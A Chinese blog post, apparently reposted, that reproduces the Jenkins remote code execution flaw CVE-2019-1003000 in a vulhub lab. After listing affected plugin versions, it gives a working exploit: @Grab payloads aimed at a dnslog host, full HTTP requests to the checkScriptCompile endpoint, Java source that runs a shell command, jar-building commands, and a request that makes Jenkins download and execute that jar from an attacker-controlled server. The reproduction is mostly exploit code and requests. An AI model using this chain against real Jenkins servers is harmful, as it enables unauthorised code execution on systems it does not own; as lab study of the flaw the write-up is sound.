暂无图片
暂无图片
1
暂无图片
暂无图片
暂无图片

Jenkins远程代码执行漏洞(CVE-2019-1003000)

安全小工坊 2021-05-13
3288

漏洞简介

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

影响版本

Declarative Plugin < 1.3.4.1

Groovy Plugin < 2.61.1

Script Security Plugin < 1.50

漏洞复现

复现环境

使用vulhub中的jenkins/CVE-2018-1000861即可复现

复现步骤

该漏洞利用需要将恶意代码制作成jar包,放到远程的服务器上,发送请求让Jenkins获取并执行该jar包,从而达到命令执行的目的。

如果只是验证是否存在漏洞,只需要利用dnslog,看目标是否请求了该地址即可,payload 为:

@GrabConfig(disableChecksums=true)
@GrabResolver(name='test', root='http://9mdvs1.dnslog.cn')
@Grab(group='test.sec', module='test', version='1')
import Payload;

请求包如下:

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27test%27,%20root=%27http://kv0bn5.dnslog.cn%27)%0A@Grab(group=%27test.sec%27,%20module=%27test%27,%20version=%271%27)%0Aimport%20Payload; HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close




查看dnslog记录:

利用该漏洞命令执行的方式:

1.创建一个java文件,保存为jkrce.java代码如下:

public class jkrce {
 public jkrce() {
   try {
    String payload = "touch /tmp/test11111";
    String[] cmds = { "/bin/bash", "-c", payload };
    java.lang.Runtime.getRuntime().exec(cmds);
   } catch (Exception e) {
}
}
}

2.创建文件夹META-INF/serverices/,编译并写jkrce类到META-INF/serverices/org.codehaus.groovy.plugins.Runners里,如下:

javac jkrce.java 
mkdir -p META-INF/services/  
echo jkrce > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf jenkins-1.jar ./      

3.在公网web服务器目录里,创建路径/tools/jenkins/1/  这个路径要与下一步中的路径一致,并将上一步生成的jar文件放到该目录下

mkdir /tools/jenkins/1/

4.发送请求,数据包如下,xxx.xxx.xxx.xxx替换成公网地址即可:

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,root=%27http://xxx.xxx.xxx.xxx/%27)%0a@Grab(group=%27tools%27,module=%27jenkins%27,version=%271%27)%0aimport%20jkrce; HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

5.进入docker查看,发现成功创建文件


注:

这个jar包需要jdk版本与服务器版本一致,否则报错,vulhub的环境为52.0 即jdk1.8

参考链接

https://www.jozxing.cc/archives/1696

漏洞检测


安全小工坊

扫描二维码

关注我们!


文章转载自安全小工坊,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论